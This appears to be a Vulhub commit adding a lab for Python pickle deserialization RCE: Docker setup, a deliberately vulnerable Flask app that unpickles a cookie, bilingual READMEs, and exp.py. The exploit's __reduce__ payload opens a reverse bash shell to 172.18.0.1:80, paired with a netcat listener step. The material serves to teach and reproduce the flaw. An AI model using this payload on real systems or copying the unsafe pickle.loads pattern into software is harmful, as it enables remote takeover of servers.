first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
python/unpickle/1.png
Normal file
BIN
python/unpickle/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 38 KiB |
14
python/unpickle/Dockerfile
Normal file
14
python/unpickle/Dockerfile
Normal file
@@ -0,0 +1,14 @@
|
||||
FROM python:latest
|
||||
|
||||
LABEL maintainer="phithon <root@leavesongs.com>"
|
||||
|
||||
COPY requirements.txt /tmp/requirements.txt
|
||||
|
||||
RUN mkdir /app \
|
||||
&& pip install -U -r /tmp/requirements.txt
|
||||
|
||||
EXPOSE 8000
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
ENTRYPOINT ["gunicorn"]
|
69
python/unpickle/README.md
Normal file
69
python/unpickle/README.md
Normal file
@@ -0,0 +1,69 @@
|
||||
# Python Unpickle Deserialization Remote Code Execution
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Python's pickle module is a popular serialization/deserialization tool that converts Python objects into byte streams and vice versa. However, when untrusted data is deserialized using pickle, it can lead to arbitrary code execution.
|
||||
|
||||
This vulnerability occurs when an application deserializes user-controlled data using the pickle module without proper validation. An attacker can craft a malicious serialized object that, when deserialized, executes arbitrary commands on the target system.
|
||||
|
||||
References:
|
||||
|
||||
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
|
||||
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
|
||||
- https://docs.python.org/3/library/pickle.html#pickle.loads
|
||||
- https://intoli.com/blog/dangerous-pickles/
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to start the vulnerable Flask application:
|
||||
|
||||
```
|
||||
docker compose build
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, you can access `http://your-ip:8000` in your browser. The page will display `Hello {username}!`, where username is retrieved from the 'user' cookie. The application performs base64 decoding and deserialization on this cookie to extract the "username" variable. If no valid cookie is found, it defaults to "Guest".
|
||||
|
||||
The vulnerable code in app.py looks like this:
|
||||
|
||||
```python
|
||||
@app.route("/")
|
||||
def index():
|
||||
try:
|
||||
user = base64.b64decode(request.cookies.get('user'))
|
||||
user = pickle.loads(user)
|
||||
username = user["username"]
|
||||
except:
|
||||
username = "Guest"
|
||||
|
||||
return "Hello %s" % username
|
||||
```
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
To exploit this vulnerability, we need to create a malicious pickle object that will execute arbitrary commands when deserialized. The exploit uses Python's `__reduce__` method to specify what function to call when the object is unpickled.
|
||||
|
||||
The provided exploit script (exp.py) creates a malicious pickle object that establishes a reverse shell connection to the attacker's machine:
|
||||
|
||||
```python
|
||||
class exp(object):
|
||||
def __reduce__(self):
|
||||
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
|
||||
return (os.system, (s,))
|
||||
```
|
||||
|
||||
To execute the exploit, first set up a netcat listener on your machine to receive the reverse shell:
|
||||
|
||||
```
|
||||
nc -lvp 80
|
||||
```
|
||||
|
||||
Then run the exploit script to send the malicious cookie to the vulnerable application:
|
||||
|
||||
```
|
||||
python3 exp.py
|
||||
```
|
||||
|
||||
When the server deserializes the malicious pickle object, it will execute the command and establish a reverse shell connection to your machine:
|
||||
|
||||

|
67
python/unpickle/README.zh-cn.md
Normal file
67
python/unpickle/README.zh-cn.md
Normal file
@@ -0,0 +1,67 @@
|
||||
# Python Unpickle 反序列化远程代码执行漏洞
|
||||
|
||||
Python的pickle模块是一个流行的序列化/反序列化工具,可以将Python对象转换为字节流,反之亦然。然而,当使用pickle反序列化不受信任的数据时,可能导致任意代码执行。
|
||||
|
||||
当应用程序在没有适当验证的情况下使用pickle模块反序列化用户可控数据时,就会出现此漏洞。攻击者可以构造恶意序列化对象,在反序列化时在目标系统上执行任意命令。
|
||||
|
||||
参考链接:
|
||||
|
||||
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
|
||||
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
|
||||
- https://docs.python.org/3/library/pickle.html#pickle.loads
|
||||
- https://intoli.com/blog/dangerous-pickles/
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行以下命令启动存在漏洞的Flask应用:
|
||||
|
||||
```
|
||||
docker compose build
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,可以在浏览器中访问`http://your-ip:8000`。页面将显示`Hello {username}!`,其中username是从'user' cookie中获取的。应用程序对此cookie执行base64解码和反序列化以提取"username"变量。如果没有找到有效的cookie,则默认为"Guest"。
|
||||
|
||||
app.py中的漏洞代码如下:
|
||||
|
||||
```python
|
||||
@app.route("/")
|
||||
def index():
|
||||
try:
|
||||
user = base64.b64decode(request.cookies.get('user'))
|
||||
user = pickle.loads(user)
|
||||
username = user["username"]
|
||||
except:
|
||||
username = "Guest"
|
||||
|
||||
return "Hello %s" % username
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
要利用此漏洞,我们需要创建一个恶意的pickle对象,该对象在反序列化时将执行任意命令。该利用使用Python的`__reduce__`方法来指定对象被反序列化时要调用的函数。
|
||||
|
||||
提供的利用脚本(exp.py)创建了一个恶意pickle对象,该对象建立与攻击者机器的反向shell连接:
|
||||
|
||||
```python
|
||||
class exp(object):
|
||||
def __reduce__(self):
|
||||
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
|
||||
return (os.system, (s,))
|
||||
```
|
||||
|
||||
要执行此利用,首先在您的机器上设置netcat监听器以接收反向shell:
|
||||
|
||||
```
|
||||
nc -lvp 80
|
||||
```
|
||||
|
||||
然后运行利用脚本,将恶意cookie发送到存在漏洞的应用程序:
|
||||
|
||||
```
|
||||
python3 exp.py
|
||||
```
|
||||
|
||||
当服务器反序列化恶意pickle对象时,它将执行命令并建立与您机器的反向shell连接:
|
||||
|
||||

|
19
python/unpickle/app.py
Normal file
19
python/unpickle/app.py
Normal file
@@ -0,0 +1,19 @@
|
||||
import pickle
|
||||
import base64
|
||||
from flask import Flask, request
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route("/")
|
||||
def index():
|
||||
try:
|
||||
user = base64.b64decode(request.cookies.get('user'))
|
||||
user = pickle.loads(user)
|
||||
username = user["username"]
|
||||
except:
|
||||
username = "Guest"
|
||||
|
||||
return "Hello %s" % username
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
9
python/unpickle/docker-compose.yml
Normal file
9
python/unpickle/docker-compose.yml
Normal file
@@ -0,0 +1,9 @@
|
||||
version: '2'
|
||||
services:
|
||||
flask:
|
||||
build: .
|
||||
command: -w 4 -b :8000 -u www-data -g www-data --access-logfile - app:app
|
||||
volumes:
|
||||
- .:/app
|
||||
ports:
|
||||
- "8000:8000"
|
20
python/unpickle/exp.py
Normal file
20
python/unpickle/exp.py
Normal file
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import pickle
|
||||
import os
|
||||
import base64
|
||||
|
||||
|
||||
class exp(object):
|
||||
def __reduce__(self):
|
||||
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
|
||||
return (os.system, (s,))
|
||||
|
||||
|
||||
e = exp()
|
||||
s = pickle.dumps(e)
|
||||
|
||||
response = requests.get("http://172.18.0.2:8000/", cookies=dict(
|
||||
user=base64.b64encode(s).decode()
|
||||
))
|
||||
print(response.content)
|
2
python/unpickle/requirements.txt
Normal file
2
python/unpickle/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
flask
|
||||
gunicorn
|
Reference in New Issue
Block a user